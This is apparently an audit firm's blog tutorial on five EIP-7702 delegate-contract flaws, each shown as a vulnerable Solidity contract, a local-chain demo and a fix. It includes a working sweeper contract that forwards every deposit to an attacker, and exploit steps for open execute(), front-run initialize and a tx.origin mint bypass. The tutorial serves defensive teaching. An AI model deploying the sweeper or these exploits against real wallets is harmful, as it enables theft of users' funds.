Back to Blog 

EIP-7702EthereumSolidityWeb3 Security
EIP-7702 Security: 5 Delegate Contract Bugs and the Fix for Each
18 min
TL;DR — Quick Summary
- Since Pectra, a normal Ethereum wallet can run code. Under EIP-7702, one signed authorization points an EOA at a contract, and from then on that code runs with the wallet's own balance and storage. Whoever controls that code controls everything at the address.
- The first bug is a signature, not a contract. A delegation to a sweeper forwards every deposit to the attacker: in the demo, 3 deposits of 1 ETH leave the victim at 0.0 ETH. Wallets must refuse chainId 0 and any delegate that is not on their own allowlist.
- A delegate's
execute()must only answer to the account itself. Open execute-style functions let anyone act as an admin wallet at IPOR in January 2026 ($336K) and at a QNT pool in April 2026 (1,988.5 QNT). initialize()needs a signature from the account, or someone else finishes your setup and owns the account. When the account re-delegates, its storage stays behind, so every delegate needs ERC-7201 namespaced storage to avoid a storage collision.tx.origin == msg.senderno longer means "a human, one call at a time". A delegated wallet batched 50 mints into 1 transaction past a tx.origin check. Search your code fortx.origin,extcodesizeandisContract, and enforce the limit you actually mean.
The video runs every attack and every fix on screen. The article below covers
the same ground, with the code, if you would rather read it.
Introduction
One signature, and every deposit goes to someone else.
In August 2025, one user signed a phishing batch built on EIP-7702 and lost about $1.54M. In the first months after Pectra, researchers checked 3,664,166 EIP-7702 authorizations across 7 chains. Over 63% were linked to attacks.
So before anything else, here is a dare. Search your contracts for
tx.origin and for extcodesize. If any line means "only real wallets can call this", keep reading.Since the Pectra upgrade, a normal Ethereum wallet can run code. That is EIP-7702. A lot of contracts were written for a world where it could not.
This article walks through the five bugs we would flag before you ship a delegate contract, the fix for each one in code, and a one-line search you can run on your own code. Every demo runs locally: an
anvil chain on the Prague hardfork, our own delegate contracts, test tokens and anvil's public dev keys. Nothing touches a live network. The full harness is public: ZealynxSecurity/zealynx-demos, newtech-04-eip7702.If you want the wallet-side picture first, how the set-code transaction works at the protocol level and the attack surfaces auditors now check, we covered that in EIP-7702 wallet security: what auditors check after Pectra. This article is the hands-on version: five bugs you can run, and five fixes you can copy.
How EIP-7702 works
A wallet signs an authorization that says: from now on, run this contract's code at my address. One signature, and the wallet becomes a smart account, with batching, sponsored gas and spending rules.
On chain, the authorization leaves a delegation designator as the account's code. In the demos you can see it right after the delegation lands:
1code at victim: 0xef010084… (a 7702 delegation)
Here is the part that matters. The code runs with the wallet's own balance and the wallet's own storage. Whoever controls that code controls everything at the address. Each of the five bugs below is a way to lose that control: to the wrong delegate, to any caller, to a front-runner, to an old delegate's leftovers, or to a check that assumed a wallet cannot run code.
1. The address that forwards every deposit: signing a delegation to a sweeper
Phishing sites now ask for exactly this signature. In August 2025, one user who signed a 7702 phishing batch lost about $1.54M.
The demo
Our victim signs an authorization with chainId 0, which is valid on every chain, delegating their account to our sweeper. The sweeper's
receive() runs in the victim's own context, so any ETH that lands in the account is forwarded straight to the attacker:1// contracts/src/Sweeper.sol2contract Sweeper {3 address payable public immutable sink;4 constructor(address s) { sink = payable(s); }5 receive() external payable {6 (bool ok, ) = sink.call{value: address(this).balance}("");7 require(ok, "sweep failed");8 }9}
Then we send the victim 1 ETH, 3 times. The balances are read from the chain after the transactions:
1victim 0xf39F…2266 is asked to sign a 7702 authorization2$ sign authorization: delegate 0x8464…18bc, chainId 03 signed (chainId 0) → victim now runs 0x8464…18bc4$ send 1 ETH to the victim, three times5 victim runs 0xef010084… → each deposit swept6balance 0.0 · swept 3.0 ETH
No contract of the victim's was buggy. The signature was the bug.
The fix
The fix lives in the wallet. Never sign a delegation for chain id 0, and only delegate to code on an allowlist that lives in the wallet's own code, not in whatever the user was asked to sign:
1// lib/wallet-policy.mjs2export function makeWalletSigner(account, { allowlist = [] } = {}) {3 const trusted = new Set(allowlist.map((a) => a.toLowerCase()));4 return {5 /** Refuses or signs. `chainId` may be a number or bigint; 0 means "every chain". */6 async signDelegation({ chainId, delegate, nonce }) {7 if (Number(chainId) === 0) throw new PolicyError("chainId 0 is valid on every chain");8 if (!trusted.has(delegate.toLowerCase())) throw new PolicyError("delegate not on allowlist");9 return account.signAuthorization({ chainId: Number(chainId), nonce, address: delegate });10 },11 isTrusted: (delegate) => trusted.has(delegate.toLowerCase()),12 };13}
Same request, and the wallet refuses. The phisher retries with this chain's id, and the second rule stops it: the sweeper is not on the allowlist, which holds only delegates the wallet team has reviewed. The deposits stay put:
1victim 0xf39F…2266 is asked to sign a 7702 authorization2$ sign authorization: delegate 0x8464…18bc, chainId 03 REFUSED (chainId 0): chainId 0 is valid on every chain4 REFUSED (chainId 31337): delegate not on allowlist5$ send 1 ETH to the victim, three times6 victim has no code → deposits stayed7balance 3.0 · swept 0.0 ETH
2. Anyone can be your admin: a delegate anyone can call
This one keeps happening. In January 2026, the admin wallet of IPOR's USDC Optimizer vault on Arbitrum was delegated to code that would make any call: $336K was lost. In April 2026, the same mistake, this time an admin EOA delegated to a
batch() function with no access control, and a pool of 1,988.5 QNT.The demo
The pool holds test tokens (tQNT), and only the admin may withdraw. The pool itself is fine:
1// contracts/src/Pool.sol2contract Pool {3 IERC20 public immutable token;4 address public immutable admin;5 constructor(IERC20 t, address a) { token = t; admin = a; }6 function balance() external view returns (uint256) { return token.balanceOf(address(this)); }7 function withdraw(address to, uint256 amount) external {8 require(msg.sender == admin, "not admin");9 token.transfer(to, amount);10 }11}
The bug is that the admin is an EOA delegated to a contract whose
execute() has no access control. Anyone can call it, and the batch runs as the admin:1// contracts/src/OpenDelegate.sol2struct Call { address to; uint256 value; bytes data; }34/// Attack #2, vulnerable. The QNT / IPOR pattern: an admin EOA delegates to a5/// delegate whose execute() has NO access control. Anyone can call it and the batch6/// runs in the admin's context.7contract OpenDelegate {8 function execute(Call[] calldata calls) external payable {9 for (uint256 i; i < calls.length; i++) {10 (bool ok, ) = calls[i].to.call{value: calls[i].value}(calls[i].data);11 require(ok, "call failed");12 }13 }14}
The attacker calls
admin.execute([ pool.withdraw(attacker, 1,988.5) ]). Inside the pool, msg.sender is the admin, so the check passes:1admin 0x3C44…93BC is an EOA that controls a pool of tQNT2admin delegated to a no-access-control execute(): 0x7125…b03e3code at admin: 0xef010071… · pool holds 1,988.5 tQNT4$ attacker → admin.execute([ pool.withdraw(attacker, 1,988.5) ])5 ✓ ran as the admin → attacker took 1,988.5 tQNT6pool 1,988.5 → 0 tQNT
The fix
execute() only runs when the caller is the account itself. A delegated EOA's own transaction has msg.sender == address(this); anyone else is rejected:1// contracts/src/SelfDelegate.sol2contract SelfDelegate {3 error Unauthorized();4 function execute(Call[] calldata calls) external payable {5 if (msg.sender != address(this)) revert Unauthorized();6 for (uint256 i; i < calls.length; i++) {7 (bool ok, ) = calls[i].to.call{value: calls[i].value}(calls[i].data);8 require(ok, "call failed");9 }10 }11}
Anyone else gets
Unauthorized:1admin 0x3C44…93BC is an EOA that controls a pool of tQNT2admin delegated to a self-only execute(): 0x7125…b03e3code at admin: 0xef010071… · pool holds 1,988.5 tQNT4$ attacker → admin.execute([ pool.withdraw(attacker, 1,988.5) ])5 ✗ reverted: Unauthorized (caller is not the account itself)6POOL SAFE: 1,988.5 tQNT
Building with EIP-7702? Send us the design before you write the rest. We will tell you where it breaks, and what it would take to make it safe. Request a design review →
3. The setup someone else finished: front-running initialize
Many delegates need an
initialize call to set the owner. But the delegation and the setup are 2 steps. In between, anyone can call initialize.The demo
The only guard here is "not yet initialized":
1// contracts/src/InitDelegate.sol2contract InitDelegate {3 address public owner;4 bool public initialized;5 function initialize(address newOwner) external {6 require(!initialized, "already init");7 initialized = true;8 owner = newOwner;9 }10}
Our admin delegates and means to call
initialize(admin) next. The attacker gets there first, and owns the account:1admin 0x3C44…93BC delegates, then means to call initialize(admin)2delegated to 0x8464…18bc — a window opens before setup runs3owner before: 0x0000…0000 (uninitialized)4$ attacker (front-run) → admin.initialize(owner = attacker)5 ✓ attacker initialized the account6owner = 0x90F7…b906 (attacker)
The fix
initialize must carry a signature from the account itself. Whoever sends the transaction, the owner only changes if address(this) signed off on it. Nobody else can produce that signature:1// contracts/src/InitDelegateFixed.sol2import {ECDSA} from "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";34/// Attack #3, fixed. initialize() is bound to a signature from the account itself.5/// Whoever sends the transaction, the owner only changes if the account (address(this))6/// signed off on it. A front-runner has no such signature, so their init reverts.7contract InitDelegateFixed {8 using ECDSA for bytes32;9 address public owner;10 bool public initialized;11 function initialize(address newOwner, bytes calldata sig) external {12 require(!initialized, "already init");13 bytes32 initHash = keccak256(abi.encodePacked(address(this), newOwner));14 require(initHash.recover(sig) == address(this), "init sig");15 initialized = true;16 owner = newOwner;17 }18}
Working auditors in your corner, all year
Zealynx Insiders: weekly live sessions, 1:1 advisory, pair-auditing, and Krait runs on your code, from an audit firm that publishes its reports.
No spam. Unsubscribe anytime.
Building a protocol? Start with a three-day pre-audit, credited toward your audit →The attacker's call reverts, and the account-signed init goes through, even though the relayer sends it:
1admin 0x3C44…93BC delegates, then means to call initialize(admin)2delegated to 0x8464…18bc — a window opens before setup runs3owner before: 0x0000…0000 (uninitialized)4$ attacker (front-run) → admin.initialize(owner = attacker)5 ✗ reverted: init sig (init not signed by the account)6 account-signed initialize → owner = 0x3C44…93BC7OWNER = 0x3C44…93BC (the account)
4. The owner left behind: storage that outlives the code
When a wallet switches to a new delegate, the code changes but its storage stays. Storage belongs to the account, not to the delegate.
The demo
Our first delegate keeps the owner in slot 0:
1// contracts/src/DelegateA.sol2contract DelegateA {3 address public owner; // slot 04 function setOwner(address newOwner) external { owner = newOwner; }5}
The new delegate keeps its guardian in slot 0 too:
1// contracts/src/DelegateB.sol2/// Attack #4, vulnerable. A different delegate the account switches to. Its first3/// variable, `guardian`, also lands in slot 0 — so it reads back the value delegate A4/// left there, with no one ever having set guardian on this code.5contract DelegateB {6 address public guardian; // slot 0 — collides with DelegateA.owner7}
So after the account re-delegates, the old owner becomes the new guardian, without anyone ever setting it:
1account 0x15d3…6A65 delegates to A, then switches to B2delegate A set owner (slot 0) = 0x90F7…b9063storage lives on the account, not the code — slot 0 persists4$ re-delegate account → B 0x71c9…292e; read B.guardian()5 ✗ B reads slot 0 → guardian = 0x90F7…b906 (left by A)6GUARDIAN = 0x90F7…b906 (left by A)
The fix
Every delegate keeps its storage in its own namespace, with ERC-7201. The slot is derived from a unique string, so no other delegate writes there:
1// contracts/src/DelegateBFixed.sol2/// Attack #4, fixed. Same delegate, but `guardian` lives in an ERC-7201 namespaced3/// slot derived from a unique string, not slot 0. Delegate A never wrote there, so a4/// fresh account reads guardian == address(0).5contract DelegateBFixed {6 // keccak256(abi.encode(uint256(keccak256("zealynx.b")) - 1)) & ~bytes32(uint256(0xff))7 bytes32 private constant GUARDIAN_SLOT =8 keccak256(abi.encode(uint256(keccak256("zealynx.b")) - 1)) & ~bytes32(uint256(0xff));9 function guardian() external view returns (address g) {10 bytes32 slot = GUARDIAN_SLOT;11 assembly { g := sload(slot) }12 }13}
Now the new guardian starts empty:
1account 0x15d3…6A65 delegates to A, then switches to B2delegate A set owner (slot 0) = 0x90F7…b9063storage lives on the account, not the code — slot 0 persists4$ re-delegate account → B 0x71c9…292e; read B.guardian()5 ✓ B reads its ERC-7201 slot, not slot 0 → guardian = 0x0000…00006GUARDIAN = 0x0000…0000 (clean)
5. 50 mints in one call: the check that meant "a human"
This mint uses
tx.origin == msg.sender to mean "a real person, calling directly, one call at a time". But a delegated wallet is a real person's address running code.The demo
The vulnerable mint:
1// contracts/src/MintVuln.sol2/// Attack #5, vulnerable. A mint that trusts `tx.origin == msg.sender` to mean3/// "a human called this directly, one at a time". EIP-7702 lets an EOA run delegate4/// code, so the EOA can call this in a loop from a single transaction — and5/// tx.origin still equals msg.sender on every call.6contract MintVuln {7 mapping(address => uint256) public minted;8 function mint() external {9 require(tx.origin == msg.sender, "humans only");10 minted[msg.sender] += 1;11 }12}
The EOA delegates to a small batcher, then sends a transaction to itself. Every
mint() call is made in the EOA's own context, so tx.origin equals msg.sender on every one:1// contracts/src/BatchDelegate.sol2contract BatchDelegate {3 event Batch(uint256 ok, uint256 reverted);4 function batchMint(address minter, uint256 n) external returns (uint256 ok, uint256 reverted) {5 for (uint256 i; i < n; i++) {6 (bool s, ) = minter.call(abi.encodeWithSignature("mint()"));7 if (s) ok++; else reverted++;8 }9 emit Batch(ok, reverted);10 }11}
50 mints land in 1 transaction:
1a mint that means "one per human, called directly"2mint guards with require(tx.origin == msg.sender)3EOA 0x9965…A4dc delegated to the batcher 0x71c9…292e4$ EOA self-tx → batchMint(mint, 50) # one transaction5 ✗ 50 mints in a single transaction650 MINTED IN 1 TX
The fix
Delete the origin check. Count per address, and enforce the limit you actually mean:
1// contracts/src/MintFixed.sol2/// Attack #5, fixed. The tx.origin check is gone. The limit is enforced per address,3/// so batching 50 calls from one delegated EOA still only mints once.4contract MintFixed {5 uint256 public constant LIMIT = 1;6 mapping(address => uint256) public minted;7 function mint() external {8 require(minted[msg.sender]++ < LIMIT, "limit reached");9 }10}
Same batch. 1 minted, 49 reverted:
1a mint that means "one per human, called directly"2mint limits one per address3EOA 0x9965…A4dc delegated to the batcher 0x71c9…292e4$ EOA self-tx → batchMint(mint, 50) # one transaction5 ✓ per-address limit held: 1 minted, 49 reverted61 MINTED, 49 REVERTED
The same goes for
extcodesize and isContract checks used as proof of a human. Each of them assumed a wallet cannot run code, and since Pectra that assumption is wrong.The checklist
Screenshot this one.
- Wallets refuse chainId 0 and unknown delegates. The allowlist lives in the wallet's code.
- A delegate's
execute()only answers to the account itself.msg.sender == address(this), or revert. initializeneeds the account's own signature. The front-runner has no way to produce it.- Namespaced storage in every delegate. ERC-7201, so a new delegate never reads an old one's slots.
- No
tx.originor code size checks as proof of a human. Enforce the limit you actually mean, per address.
Then run the search from the introduction. Search your code for
tx.origin, extcodesize and isContract. Every hit is a place that assumed wallets cannot run code. Fix those first.FAQ
1. What is EIP-7702 and why does it matter for security?
EIP-7702 is the Ethereum change, shipped in the Pectra upgrade in May 2025, that lets a normal wallet (an EOA) run contract code. The wallet signs an authorization pointing at a delegate contract, and from then on that code runs at the wallet's address, with the wallet's own balance and storage. That brings batching, sponsored gas and spending rules to ordinary wallets, but it also means whoever controls the delegate code controls everything at the address. In the first months, researchers checked 3,664,166 authorizations across 7 chains and found that over 63% were linked to attacks.
2. How do EIP-7702 phishing attacks drain wallets?
A phishing site asks the victim to sign an EIP-7702 authorization that delegates their wallet to a sweeper contract, often with chainId 0 so the signature is valid on every chain. After that, every deposit runs the sweeper's code in the victim's own context and is forwarded to the attacker. In August 2025, one user lost about $1.54M to a 7702 phishing batch. In our local demo, 3 deposits of 1 ETH left the victim at 0.0 ETH and the attacker at 3.0 ETH. The fix is wallet-side: refuse chainId 0 authorizations and any delegate that is not on the wallet's own allowlist.
3. How do I secure the execute function in an EIP-7702 delegate contract?
Make
execute() revert unless msg.sender == address(this), so it only runs when the account calls itself. Without that check, anyone can call execute() on the delegated address, and every call in the batch runs as that account. That is how an admin wallet with an open execute() lost $336K at IPOR in January 2026, and how an admin EOA delegated to an open batch() function lost a pool of 1,988.5 QNT in April 2026.4. Is tx.origin == msg.sender still safe after EIP-7702?
No, not as a way to tell that a human is calling directly. A delegated wallet is still an EOA, so when it sends a transaction to itself and its delegate code loops over calls,
tx.origin equals msg.sender on every one. In our demo, a delegated wallet minted 50 times in one transaction past a tx.origin == msg.sender check. Replace it with the limit you actually mean, such as a per-address counter, which held at 1 minted and 49 reverted. Treat extcodesize and isContract checks the same way.5. What happens to storage when an EIP-7702 account changes its delegate?
It stays. Storage belongs to the account, not to the delegate code, so whatever the old delegate wrote is still there when the new delegate starts running. If both delegates use the same slot for different variables, the new delegate reads the old value: in our demo, an old
owner in slot 0 became the new delegate's guardian. Use ERC-7201 namespaced storage in every delegate, so each one keeps its state in a slot derived from its own unique string.Glossary
| Term | Definition |
|---|---|
| EIP-7702 | The Pectra upgrade change that lets an externally owned account delegate its execution to a smart contract through a signed authorization. |
| Delegation Designator | The code an EIP-7702 authorization writes to an account, 0xef0100 followed by the delegate's address, telling the EVM which contract's code to run there. |
| EOA (Externally Owned Account) | A blockchain account controlled by a private key rather than by contract code. |
| tx.origin | The Solidity global that returns the externally owned account that started the transaction. |
| Storage Collision | Two pieces of code using the same storage slot for different variables, so one reads or overwrites the other's data. |
| ERC-7201 | A standard for namespaced storage that places a contract's state at a slot derived from a unique string, so different code cannot collide. |
Build it safely
Every attack and fix in this article is runnable on a local chain: ZealynxSecurity/zealynx-demos, newtech-04-eip7702. Clone it, run each demo vulnerable and then with
--fixed, and compare them with your own delegate contracts.Building with EIP-7702? Send us the design before you write the rest. We will tell you where it breaks, and what it would take to make it safe. Request a design review →
Working auditors in your corner, all year
Zealynx Insiders: weekly live sessions, 1:1 advisory, pair-auditing, and Krait runs on your code, from an audit firm that publishes its reports.
No spam. Unsubscribe anytime.
Building a protocol? Start with a three-day pre-audit, credited toward your audit →